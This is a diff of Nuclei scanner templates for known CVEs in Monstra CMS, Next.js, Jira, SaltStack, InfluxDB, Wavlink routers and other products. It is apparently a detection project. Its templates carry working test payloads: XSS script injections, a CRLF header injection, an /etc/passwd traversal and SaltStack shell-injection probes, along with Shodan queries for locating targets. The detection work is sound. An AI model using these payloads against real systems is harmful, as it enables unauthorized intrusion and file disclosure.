-    cve-id: CVE-2018-11473
-    cwe-id: CWE-79
-  metadata:
-    shodan-query: http.favicon.hash:419828698
-    verified: "true"
-  tags: cve,cve2018,xss,mostra,mostracms,cms
-
-requests:
-  - raw:
-      - |
-        GET /users/registration HTTP/1.1
-        Host: {{Hostname}}
-
-      - |
-        POST /users/registration HTTP/1.1
-        Host: {{Hostname}}
-        Content-Type: application/x-www-form-urlencoded
-
-        csrf={{csrf}}&login=test&password=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&email=teest%40gmail.com&answer=test&register=Register
-
-    cookie-reuse: true
-    matchers-condition: and
-    matchers:
-      - type: word
-        part: body
-        words:
-          - "><script>alert(document.domain)</script>"
-          - "Monstra"
-        condition: and
-        case-insensitive: true
-
-      - type: word
-        part: header
-        words:
-          - "text/html"
-
-      - type: status
-        status:
-          - 200
-
-    extractors:
-      - type: regex
-        name: csrf
-        part: body
-        group: 1
-        regex:
-          - 'id="csrf" name="csrf" value="(.*)">'
-        internal: true
-
-# Enhanced by md on 2023/01/30
@@ -1,15 +1,14 @@
 id: CVE-2018-16668

 info:
-  name: CirCarLife <4.3 - Improper Authentication
+  name: CirCarLife SCADA Installation Paths
  author: geeknik
  severity: medium
-  description: CirCarLife before 4.3 is susceptible to improper authentication. An internal installation path disclosure exists due to the lack of authentication for /html/repository.System. An attacker can obtain sensitive information, modify data, and/or execute unauthorized operations.
+  description: System software installation path disclosure due to lack of authentication
  reference:
    - https://www.exploit-db.com/exploits/45384
    - https://github.com/SadFud/Exploits/tree/master/Real%20World/Suites/cir-pwn-life
    - https://www.exploit-db.com/exploits/45384/
-    - https://nvd.nist.gov/vuln/detail/CVE-2018-16668
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
@@ -34,5 +33,3 @@ requests:
          - "** Platform sources **"
          - "** Application sources **"
        condition: and
-
-# Enhanced by md on 2023/01/30
@@ -1,15 +1,14 @@
 id: CVE-2018-16670

 info:
-  name: CirCarLife <4.3 - Improper Authentication
+  name: CirCarLife SCADA PLC Status
  author: geeknik
  severity: medium
-  description: CirCarLife before 4.3 is susceptible to improper authentication. A PLC status disclosure exists due to lack of authentication for /html/devstat.html. An attacker can obtain sensitive information, modify data, and/or execute unauthorized operations.
+  description: PLC status disclosure due to lack of authentication
  reference:
    - https://www.exploit-db.com/exploits/45384
    - https://github.com/SadFud/Exploits/tree/master/Real%20World/Suites/cir-pwn-life
    - https://www.exploit-db.com/exploits/45384/
-    - https://nvd.nist.gov/vuln/detail/CVE-2018-16670
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
@@ -34,5 +33,3 @@ requests:
          - "<values><variable><id>"
          - "Reader.STATUS"
        condition: and
-
-# Enhanced by md on 2023/01/30
@@ -1,14 +1,14 @@
 id: CVE-2018-16671

 info:
-  name: CirCarLife <4.3 - Improper Authentication
+  name: CirCarLife SCADA Device ID
  author: geeknik
  severity: medium
-  description: CirCarLife before 4.3 is susceptible to improper authentication. A system software information disclosure exists due to lack of authentication for /html/device-id. An attacker can obtain sensitive information, modify data, and/or execute unauthorized operations.
+  description: System software information disclosure due to lack of authentication
  reference:
    - https://www.exploit-db.com/exploits/45384
    - https://github.com/SadFud/Exploits/tree/master/Real%20World/Suites/cir-pwn-life
-    - https://nvd.nist.gov/vuln/detail/CVE-2018-16671
+    - https://www.exploit-db.com/exploits/45384/
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
@@ -35,5 +35,3 @@ requests:
        part: body
        regex:
          - "(19|20)\\d\\d[- /.](0[1-9]|1[012])[- /.](0[1-9]|[12][0-9]|3[01])"
-
-# Enhanced by md on 2023/01/30
@@ -1,37 +0,0 @@
-id: CVE-2018-16979
-
-info:
-  name: Monstra CMS V3.0.4 - HTTP Header Injection
-  author: 0x_Akoko
-  severity: medium
-  description: |
-    Monstra CMS V3.0.4 allows HTTP header injection in the plugins/captcha/crypt/cryptographp.php cfg parameter.
-  reference:
-    - https://github.com/howchen/howchen/issues/4
-    - https://nvd.nist.gov/vuln/detail/CVE-2018-16979
-  classification:
-    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
-    cvss-score: 6.1
-    cve-id: CVE-2018-16979
-    cwe-id: CWE-113
-  metadata:
-    verified: "true"
-  tags: cve,cve2018,crlf,mostra,mostracms,cms
-
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/plugins/captcha/crypt/cryptographp.php?cfg=1%0D%0ASet-Cookie:%20crlfinjection=1"
-
-    matchers-condition: and
-    matchers:
-      - type: word
-        part: body
-        words:
-          - 'new line detected in'
-          - 'cryptographp.php'
-        condition: and
-
-      - type: status
-        status:
-          - 200
@@ -7,9 +7,9 @@ info:
  description: Kibana versions before 6.4.3 and 5.6.13 contain an arbitrary file inclusion flaw in the Console plugin. An attacker with access to the Kibana Console API could send a request that will attempt to execute JavaScript which could possibly lead to an attacker executing arbitrary commands with permissions of the Kibana process on the host system.
  reference:
    - https://github.com/vulhub/vulhub/blob/master/kibana/CVE-2018-17246/README.md
+    - https://nvd.nist.gov/vuln/detail/CVE-2018-17246
    - https://www.elastic.co/community/security
    - https://discuss.elastic.co/t/elastic-stack-6-4-3-and-5-6-13-security-update/155594
-    - https://nvd.nist.gov/vuln/detail/CVE-2018-17246
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
@@ -41,5 +41,3 @@ requests:
        part: header
        words:
          - "application/json"
-
-# Enhanced by mp on 2023/01/15
@@ -1,36 +0,0 @@
-id: CVE-2018-6184
-
-info:
-  name: ZEIT Next.js Framework Path Traversal
-  author: DhiyaneshDK
-  severity: high
-  description: |
-    ZEIT Next.js 4 before 4.2.3 has Directory Traversal under the /_next request namespace.
-  reference:
-    - https://github.com/PortSwigger/j2ee-scan/blob/master/src/main/java/burp/j2ee/issues/impl/NextFrameworkPathTraversal.java
-    - https://nvd.nist.gov/vuln/detail/CVE-2018-6184
-    - https://github.com/zeit/next.js/releases/tag/4.2.3
-  classification:
-    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
-    cvss-score: 7.5
-    cve-id: CVE-2018-6184
-    cwe-id: CWE-22
-  metadata:
-    shodan-query: html:"/_next/static"
-  tags: cve,cve2018,nextjs,lfi,traversal
-
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/_next/../../../../../../../../../etc/passwd"
-
-    matchers-condition: and
-    matchers:
-      - type: regex
-        part: body
-        regex:
-          - "root:.*:0:0:"
-
-      - type: status
-        status:
-          - 200
@@ -1,11 +1,10 @@
 id: CVE-2018-8719

 info:
-  name: WordPress WP Security Audit Log 3.1.1 - Information Disclosure
+  name: WordPress Plugin WP Security Audit Log 3.1.1 - Information Disclosure
  author: LogicalHunter
  severity: medium
-  description: |
-    WordPress WP Security Audit Log 3.1.1 plugin is susceptible to information disclosure. Access to wp-content/uploads/wp-security-audit-log/* files is not restricted. An attacker can obtain sensitive information, modify data, and/or execute unauthorized operations.
+  description: Access to wp-content/uploads/wp-security-audit-log/* files is not restricted. For example, these files are indexed by Google and allows for attackers to possibly find sensitive information
  reference:
    - https://www.exploit-db.com/exploits/44371
    - https://vuldb.com/?id.115817
@@ -35,5 +34,3 @@ requests:
          - ".log"
          - "Index of"
        condition: and
-
-# Enhanced by md on 2023/01/30
@@ -1,15 +1,14 @@
 id: CVE-2018-8770

 info:
-  name: Cobub Razor 0.8.0 - Information Disclosure
+  name: Cobub Razor 0.8.0 Physical path Leakage Vulnerability
  author: princechaddha
  severity: medium
-  description: Cobub Razor 0.8.0 is susceptible to information disclosure via generate.php, controllers/getConfigTest.php, controllers/getUpdateTest.php, controllers/postclientdataTest.php, controllers/posterrorTest.php, controllers/posteventTest.php, controllers/posttagTest.php, controllers/postusinglogTest.php, fixtures/Controller_fixt.php, fixtures/Controller_fixt2.php, fixtures/view_fixt2.php, libs/ipTest.php, or models/commonDbfix.php. An attacker can obtain sensitive information, modify data, and/or execute unauthorized operations.
+  description: Physical path Leakage exists in Western Bridge Cobub Razor 0.8.0 via generate.php, controllers/getConfigTest.php, controllers/getUpdateTest.php, controllers/postclientdataTest.php, controllers/posterrorTest.php, controllers/posteventTest.php, controllers/posttagTest.php, controllers/postusinglogTest.php, fixtures/Controller_fixt.php, fixtures/Controller_fixt2.php, fixtures/view_fixt2.php, libs/ipTest.php, or models/commonDbfix.php in tests/.
  reference:
    - http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-8770
    - https://www.exploit-db.com/exploits/44495/
    - https://github.com/Kyhvedn/CVE_Description/blob/master/Cobub_Razor_0.8.0_more_physical_path_leakage.md
-    - https://nvd.nist.gov/vuln/detail/CVE-2018-8770
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
@@ -33,5 +32,3 @@ requests:
      - type: status
        status:
          - 200
-
-# Enhanced by md on 2023/01/30
@@ -1,10 +1,10 @@
 id: CVE-2019-12616

 info:
-  name: phpMyAdmin <4.9.0 - Cross-Site Request Forgery
+  name: phpMyAdmin < 4.9.0 - CSRF
  author: Mohammedsaneem,philippedelteil,daffainfo
  severity: medium
-  description: phpMyAdmin before 4.9.0 is susceptible to cross-site request forgery. An attacker can utilize a broken <img> tag which points at the victim's phpMyAdmin database, thus leading to potential delivery of a payload, such as a specific INSERT or DELETE statement.
+  description: A vulnerability was found that allows an attacker to trigger a CSRF attack against a phpMyAdmin user. The attacker can trick the user, for instance through a broken <img> tag pointing at the victim's phpMyAdmin database, and the attacker can potentially deliver a payload (such as a specific INSERT or DELETE statement) through the victim.
  reference:
    - https://www.phpmyadmin.net/security/PMASA-2019-4/
    - https://www.exploit-db.com/exploits/46982
@@ -50,5 +50,3 @@ requests:
        group: 1
        regex:
          - '\?v=([0-9.]+)'
-
-# Enhanced by md on 2023/01/11
@@ -1,16 +1,16 @@
 id: CVE-2019-14530

 info:
-  name: OpenEMR <5.0.2 - Local File Inclusion
+  name: OpenEMR < 5.0.2 - Path Traversal
  author: TenBird
  severity: high
  description: |
-    OpenEMR before 5.0.2 is vulnerable to local file inclusion via the fileName parameter in custom/ajax_download.php. An attacker can download any file (that is readable by the web server user) from server storage. If the requested file is writable for the web server user and the directory /var/www/openemr/sites/default/documents/cqm_qrda/ exists, the file will be deleted from server.
+    An issue was discovered in custom/ajax_download.php in OpenEMR before 5.0.2 via the fileName parameter. An attacker can download any file (that is readable by the user www-data) from server storage. If the requested file is writable for the www-data user and the directory /var/www/openemr/sites/default/documents/cqm_qrda/ exists, it will be deleted from server.
  reference:
    - https://www.exploit-db.com/exploits/50037
    - https://github.com/openemr/openemr/archive/refs/tags/v5_0_1_7.zip
-    - https://github.com/openemr/openemr/pull/2592
    - https://nvd.nist.gov/vuln/detail/CVE-2019-14530
+    - https://github.com/openemr/openemr/pull/2592
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
@@ -50,5 +50,3 @@ requests:
      - type: status
        status:
          - 200
-
-# Enhanced by mp on 2023/01/15
@@ -2,10 +2,9 @@ id: CVE-2019-15501

 info:
  name: L-Soft LISTSERV <16.5-2018a - Cross-Site Scripting
-  author: LogicalHunter,arafatansari
+  author: LogicalHunter
  severity: medium
-  description: |
-    L-Soft LISTSERV before 16.5-2018a contains a reflected cross-site scripting vulnerability via the /scripts/wa.exe OK parameter.
+  description: L-Soft LISTSERV before 16.5-2018a contains a reflected cross-site scripting vulnerability via the /scripts/wa.exe OK parameter.
  reference:
    - https://www.exploit-db.com/exploits/47302
    - http://www.lsoft.com/manuals/16.5/LISTSERV16.5-2018a_WhatsNew.pdf
@@ -15,9 +14,6 @@ info:
    cvss-score: 6.1
    cve-id: CVE-2019-15501
    cwe-id: CWE-79
-  metadata:
-    shodan-query: http.html:"LISTSERV"
-    verified: "true"
  tags: cve,cve2019,xss,listserv,edb

 requests:
@@ -28,12 +24,9 @@ requests:
    matchers-condition: and
    matchers:
      - type: word
-        part: body
        words:
          - '</script><script>alert(document.domain)</script>'
-          - 'LISTSERV'
-        condition: and
-        case-insensitive: true
+        part: body

      - type: word
        part: header
@@ -1,15 +1,15 @@
 id: CVE-2019-17503

 info:
-  name: Kirona Dynamic Resource Scheduler - Information Disclosure
+  name: Kirona Dynamic Resource Scheduling - information disclosure
  author: LogicalHunter
  severity: medium
-  description: Kirona Dynamic Resource Scheduler is susceptible to information disclosure. An unauthenticated user can directly access /osm/REGISTER.cmd (aka /osm_tiles/REGISTER.cmd), which contains sensitive information with exposed SQL queries, such as database version, table name, and column name.
+  description: An unauthenticated user can access /osm/REGISTER.cmd (aka /osm_tiles/REGISTER.cmd) directly _ it contains sensitive information about the database through the SQL queries within this batch file
  reference:
    - https://www.exploit-db.com/exploits/47498
+    - https://nvd.nist.gov/vuln/detail/CVE-2019-17503
    - https://github.com/Ramikan/Vulnerabilities/blob/master/Kirona-DRS%205.5.3.5%20Multiple%20Vulnerabilities
    - http://packetstormsecurity.com/files/154838/Kirona-DRS-5.5.3.5-Information-Disclosure.html
-    - https://nvd.nist.gov/vuln/detail/CVE-2019-17503
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
@@ -35,5 +35,3 @@ requests:
          - "DEBUGMAPSCRIPT=TRUE"
          - "@echo off"
        condition: and
-
-# Enhanced by md on 2023/01/30
@@ -18,7 +18,7 @@ info:
    cwe-id: CWE-79
  metadata:
    verified: true
-    google-query: inurl:"/plus/pass_reset.php"
+    google-dork: inurl:"/plus/pass_reset.php"
  tags: cve,cve2019,phpMyChat,xss

 requests:
@@ -1,16 +1,15 @@
 id: CVE-2019-19985

 info:
-  name: WordPress Email Subscribers & Newsletters <4.2.3 - Arbitrary File Retrieval
+  name: WordPress Email Subscribers & Newsletters <4.2.2 - Arbitrary File Retrieval
  author: KBA@SOGETI_ESEC,madrobot,dwisiswant0
  severity: medium
-  description: WordPress Email Subscribers & Newsletters plugin before 4.2.3 is susceptible to arbitrary file retrieval via a flaw that allows unauthenticated file download and user information disclosure. An attacker can  obtain sensitive information, modify data, and/or execute unauthorized administrative operations.
+  description: The WordPress plugin Email Subscribers & Newsletters before 4.2.3 contains a flaw that allows unauthenticated file download and user information disclosure.
  reference:
    - https://www.exploit-db.com/exploits/48698
    - https://wpvulndb.com/vulnerabilities/9946
    - https://www.wordfence.com/blog/2019/11/multiple-vulnerabilities-patched-in-email-subscribers-newsletters-plugin/
    - http://packetstormsecurity.com/files/158563/WordPress-Email-Subscribers-And-Newsletters-4.2.2-File-Disclosure.html
-    - https://nvd.nist.gov/vuln/detail/CVE-2019-19985
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
@@ -42,5 +41,3 @@ requests:
      - type: status
        status:
          - 200
-
-# Enhanced by md on 2023/01/30
@@ -1,23 +1,23 @@
 id: CVE-2019-20933

 info:
-  name: InfluxDB <1.7.6 - Authentication Bypass
+  name: Authentication Bypass InfluxDB
  author: pussycat0x,c-sh0
  severity: critical
-  description: InfluxDB before 1.7.6 contains an authentication bypass vulnerability via the authenticate function in services/httpd/handler.go. A JWT token may have an empty SharedSecret (aka shared secret). An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
+  description: InfluxDB before 1.7.6 has an authentication bypass vulnerability in the authenticate function in services/httpd/handler.go because a JWT token may have an empty SharedSecret (aka shared secret).
  reference:
    - https://github.com/LorenzoTullini/InfluxDB-Exploit-CVE-2019-20933
+    - https://nvd.nist.gov/vuln/detail/CVE-2019-20933
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-20933
    - https://github.com/influxdata/influxdb/compare/v1.7.5...v1.7.6
-    - https://nvd.nist.gov/vuln/detail/CVE-2019-20933
-  remediation: Update Influxdb to version 1.7.6~rc0-1 or higher.
+  remediation: Update Influxdb to version 1.6.7~rc0-1 or higher.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2019-20933
    cwe-id: CWE-287
  metadata:
-    shodan-query: InfluxDB
+    shodan-dork: InfluxDB
    verified: "true"
  tags: unauth,db,influxdb,misconfig
 requests:
@@ -37,5 +37,3 @@ requests:
      - type: status
        status:
          - 200
-
-# Enhanced by md on 2023/01/30
@@ -1,14 +1,12 @@
 id: CVE-2019-3401

 info:
-  name: Atlassian Jira <7.13.3/8.0.0-8.1.1 - Incorrect Authorization
+  name: Atlassian JIRA Information Exposure (CVE-2019-3401)
  author: TechbrunchFR,milo2012
  severity: medium
-  description: Atlasssian Jira before version 7.13.3 and from version 8.0.0 before version 8.1.1 is susceptible to incorrect authorization. The ManageFilters.jspa resource allows a remote attacker to enumerate usernames via an incorrect authorization check, thus possibly obtaining sensitive information, modifying data, and/or executing unauthorized operations.
+  description: The ManageFilters.jspa resource in Jira before version 7.13.3 and from version 8.0.0 before version 8.1.1 allows remote attackers to enumerate usernames via an incorrect authorisation check.
  reference:
    - https://jira.atlassian.com/browse/JRASERVER-69244
-    - https://nvd.nist.gov/vuln/detail/CVE-2019-3401
-  remediation: Ensure this permission is restricted to specific groups that require it via Administration > System > Global Permissions. Turning the feature off will not affect existing filters and dashboards. If you change this setting, you will still need to update the existing filters and dashboards if they have already been shared publicly. Since Jira 7.2.10, a dark feature to disable site-wide anonymous access was introduced.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
@@ -36,5 +34,3 @@ requests:
 # If you change this setting, you will still need to update the existing filters and dashboards if they have already been
 # shared publicly.
 # Since Jira 7.2.10, a dark feature to disable site-wide anonymous access was introduced.
-
-# Enhanced by md on 2023/02/01
@@ -1,10 +1,10 @@
 id: CVE-2020-10770

 info:
-  name: Keycloak <= 12.0.1 - request_uri Blind Server-Side Request Forgery (SSRF)
+  name: Keycloak 12.0.1 - request_uri  Blind Server-Side Request Forgery (SSRF)
  author: dhiyaneshDk
  severity: medium
-  description: Keycloak 12.0.1 and below allows an attacker to force the server to request an unverified URL using the OIDC parameter request_uri. This allows an attacker to execute a server-side request forgery (SSRF) attack.
+  description: Keycloak 12.0.1 and below allow an attacker to force the server to request an unverified URL using the OIDC parameter request_uri. This allows an attacker to execute a server-side request forgery (SSRF) attack.
  reference:
    - https://packetstormsecurity.com/files/164499/Keycloak-12.0.1-Server-Side-Request-Forgery.html
    - https://www.exploit-db.com/exploits/50405
@@ -14,7 +14,7 @@ info:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
    cvss-score: 5.3
    cve-id: CVE-2020-10770
-    cwe-id: CWE-918
+    cwe-id: CWE-601
  tags: keycloak,ssrf,oast,cve,cve2020,blind,packetstorm,edb

 requests:
@@ -1,15 +1,15 @@
 id: CVE-2020-10973

 info:
-  name: WAVLINK - Access Control
+  name: Wavlink WN530HG4 - Access Control
  author: arafatansari
  severity: high
  description: |
-    Wavlink WN530HG4, WN531G3, WN533A8, and WN551K are susceptible to improper access control via /cgi-bin/ExportAllSettings.sh, where a crafted POST request returns the current configuration of the device, including the administrator password. No authentication is required. The attacker must perform a decryption step, but all decryption information is readily available.
+    An issue was discovered in Wavlink WN530HG4, Wavlink WN531G3, Wavlink WN533A8, and Wavlink WN551K1 affecting /cgi-bin/ExportAllSettings.sh where a crafted POST request returns the current configuration of the device, including the administrator password. No authentication is required. The attacker must perform a decryption step, but all decryption information is readily available.
  reference:
    - https://github.com/sudo-jtcsec/CVE/blob/master/CVE-2020-10973
-    - https://github.com/sudo-jtcsec/Nyra
    - https://nvd.nist.gov/vuln/detail/CVE-2020-10973
+    - https://github.com/sudo-jtcsec/Nyra
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
@@ -41,5 +41,3 @@ requests:
      - type: status
        status:
          - 200
-
-# Enhanced by md on 2023/02/01
@@ -19,7 +19,7 @@ info:
    cwe-id: CWE-79
  metadata:
    shodan-query: title:"Grafana"
-  tags: cve,cve2020,xss,grafana,hackerone
+  tags: cve2020,xss,grafana,hackerone,cve

 requests:
  - raw:
@@ -1,17 +1,19 @@
 id: CVE-2020-11450
-
 info:
-  name: MicroStrategy Web 10.4 - Information Disclosure
+  name: Microstrategy Web 10.4 exposes the JVM configuration
  author: tess
  severity: high
  description: |
-    MicroStrategy Web 10.4 is susceptible to information disclosure. The JVM configuration, CPU architecture, installation folder, and other information are exposed through /MicroStrategyWS/happyaxis.jsp. An attacker can use this vulnerability to learn more about the application environment and thereby possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
+    Microstrategy Web 10.4 exposes the JVM configuration, CPU architecture,
+    installation folder, and other information through the URL /MicroStrategyWS/happyaxis.jsp.
+    An attacker could use this vulnerability to learn more about the environment the
+    application is running in. This issue has been mitigated in all versions of the
+    product 11.0 and higher.
  reference:
    - http://packetstormsecurity.com/files/157068/MicroStrategy-Intelligence-Server-And-Web-10.4-XSS-Disclosure-SSRF-Code-Execution.html
+    - https://nvd.nist.gov/vuln/detail/cve-2020-11450
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11450
    - https://www.redtimmy.com/web-application-hacking/another-ssrf-another-rce-the-microstrategy-case/
-    - https://nvd.nist.gov/vuln/detail/cve-2020-11450
-  remediation: Mitigated in all versions 11.0 and higher.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
@@ -38,5 +40,3 @@ requests:
      - type: status
        status:
          - 200
-
-# Enhanced by md on 2023/02/01
@@ -5,11 +5,11 @@ info:
  author: arafatansari
  severity: high
  description: |
-    WAVLINK WN530H4 M30H4.V5030.190403 contains an information disclosure vulnerability in the /cgi-bin/ExportAllSettings.sh endpoint. This can allow an attacker to leak router settings, including cleartext login details, DNS settings, and other sensitive information without authentication.
+    An information disclosure vulnerability in the /cgi-bin/ExportAllSettings.sh endpoint of the WAVLINK WN530H4 M30H4.V5030.190403 allows an attacker to leak router settings, including cleartext login details, DNS settings, and other sensitive information without authentication.
  reference:
+    - https://nvd.nist.gov/vuln/detail/CVE-2020-12127
    - https://cerne.xyz/bugs/CVE-2020-12127
    - https://www.wavlink.com/en_us/product/WL-WN530H4.html
-    - https://nvd.nist.gov/vuln/detail/CVE-2020-12127
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
@@ -39,5 +39,3 @@ requests:
      - type: status
        status:
          - 200
-
-# Enhanced by md on 2023/02/01
@@ -1,11 +1,11 @@
 id: CVE-2020-12478

 info:
-  name: TeamPass 2.1.27.36 - Improper Authentication
+  name: TeamPass 2.1.27.36 - Unauthenticated Access
  author: arafatansari
  severity: high
  description: |
-    TeamPass 2.1.27.36 is susceptible to improper authentication. An attacker can retrieve files from the TeamPass web root, which may include backups or LDAP debug files, and therefore possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
+    TeamPass 2.1.27.36 allows an unauthenticated attacker to retrieve files from the TeamPass web root. This may include backups or LDAP debug files.
  reference:
    - https://github.com/nilsteampassnet/TeamPass/issues/2764
    - https://nvd.nist.gov/vuln/detail/CVE-2020-12478
@@ -39,5 +39,3 @@ requests:
      - type: status
        status:
          - 200
-
-# Enhanced by md on 2023/02/01
@@ -1,14 +1,13 @@
 id: CVE-2020-13121

 info:
-  name: Submitty <= 20.04.01 - Open Redirect
+  name: Submitty 20.04.01 - Open redirect
  author: 0x_Akoko
  severity: medium
-  description: Submitty through 20.04.01 contains an open redirect vulnerability via authentication/login?old= during an invalid login attempt. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
+  description: Submitty through 20.04.01 has an open redirect via authentication/login?old= during an invalid login attempt.
  reference:
    - https://github.com/Submitty/Submitty/issues/5265
    - https://www.cvedetails.com/cve/CVE-2020-13121
-    - https://nvd.nist.gov/vuln/detail/CVE-2020-13121
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.10
@@ -33,5 +32,3 @@ requests:
        part: header
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/ZDYhFh/1
-
-# Enhanced by md on 2023/02/08
@@ -1,13 +1,13 @@
 id: CVE-2020-14179

 info:
-  name: Atlassian Jira Server/Data Center <8.5.8/8.6.0 - 8.11.1 - Information Disclosure
+  name: Sensitive data exposure via insecure Jira endpoint
  author: x1m_martijn
  severity: medium
-  description: Atlassian Jira Server and Data Center before 8.5.8 and 8.6.0 through 8.11.1 are susceptible to information disclosure via the /secure/QueryComponent!Default.jspa endpoint. An attacker can view custom field names and custom SLA names.
+  description: Affected versions of Atlassian Jira Server and Data Center allow remote, unauthenticated attackers to view custom field names and custom SLA names via an Information Disclosure vulnerability in the
+    /secure/QueryComponent!Default.jspa endpoint. The affected versions are before version 8.5.8, and from version 8.6.0 before 8.11.1.
  reference:
    - https://jira.atlassian.com/browse/JRASERVER-71536
-    - https://nvd.nist.gov/vuln/detail/CVE-2020-14179
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
@@ -32,5 +32,3 @@ requests:
      - type: status
        status:
          - 200
-
-# Enhanced by md on 2023/02/01
@@ -27,7 +27,7 @@ requests:
    matchers:
      - type: word
        words:
-          - 'user-hover-details'
+          - 'User does not exist'
          - 'content="JIRA"'
        condition: and

@@ -1,44 +0,0 @@
-id: CVE-2020-15895
-
-info:
-  name: D-Link DIR-816L - Cross Site Scripting
-  author: edoardottt
-  severity: medium
-  description: |
-    An XSS issue was discovered on D-Link DIR-816L devices 2.x before 1.10b04Beta02. In the file webinc/js/info.php, no output filtration is applied to the RESULT parameter, before it's printed on the webpage.
-  reference:
-    - https://research.loginsoft.com/vulnerability/multiple-vulnerabilities-discovered-in-the-d-link-firmware-dir-816l/
-    - https://nvd.nist.gov/vuln/detail/CVE-2020-15895
-    - https://research.loginsoft.com/bugs/multiple-vulnerabilities-discovered-in-the-d-link-firmware-dir-816l/
-    - https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10169
-  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
-    cvss-score: 6.1
-    cve-id: CVE-2020-15895
-    cwe-id: CWE-79
-  metadata:
-    shodan-query: html:"DIR-816L"
-  tags: cve,cve2020,dlink,xss
-
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/info.php?RESULT=\",msgArray);alert(document.domain);//"
-
-    matchers-condition: and
-    matchers:
-      - type: word
-        part: body
-        words:
-          - ";alert(document.domain);"
-          - "DIR-816L"
-        condition: and
-
-      - type: word
-        part: header
-        words:
-          - "text/html"
-
-      - type: status
-        status:
-          - 200
@@ -4,7 +4,8 @@ info:
  name: SaltStack <=3002 - Shell Injection
  author: dwisiswant0
  severity: critical
-  description: SaltStack Salt through 3002 allows an unauthenticated user with network access to the Salt API to use shell injections to run code on the Salt-API using the SSH client.
+  description: |
+    SaltStack Salt through 3002 allows an unauthenticated user with network access to the Salt API to use shell injections to run code on the Salt-API using the SSH client.
  reference:
    - https://saltproject.io/on-november-3-2020-saltstack-publicly-disclosed-three-new-cves/
    - https://mp.weixin.qq.com/s/R8qw_lWizGyeJS0jOcYXag
@@ -24,18 +25,24 @@ requests:
    body: "token=1337&client=ssh&tgt=*&fun=a&roster=projectdiscovery&ssh_priv=nuclei"
    headers:
      Content-Type: application/x-www-form-urlencoded # CherryPy will abort w/o define this header
+
    matchers-condition: and
    matchers:
+      - type: word
+        part: body
+        words:
+          - "An unexpected error occurred"
+
+      - type: dsl
+        dsl:
+          - regex("CherryPy\/([0-9.]+)", header) || regex("CherryPy ([0-9.]+)", body)
+
+      - type: word
+        part: header
+        words:
+          - "application/json"
+
      - type: status
        status:
          - 500
-      - type: word
-        words:
-          - "application/json"
-        part: header
-      - type: word
-        words:
-          - "An unexpected error occurred"
-        part: body
-
 # Enhanced by mp on 2022/04/27
@@ -1,67 +0,0 @@
-id: CVE-2020-23697
-
-info:
-  name: Monstra CMS 3.0.4 - Cross-Site Scripting
-  author: ritikchaddha
-  severity: medium
-  description: |
-    Monstra CMS 3.0.4 contains a cross-site scripting vulnerability via the page feature in admin/index.php. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
-  reference:
-    - https://github.com/monstra-cms/monstra/issues/463
-    - https://nvd.nist.gov/vuln/detail/CVE-2020-23697
-  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
-    cvss-score: 5.4
-    cve-id: CVE-2020-23697
-    cwe-id: CWE-79
-  metadata:
-    verified: "true"
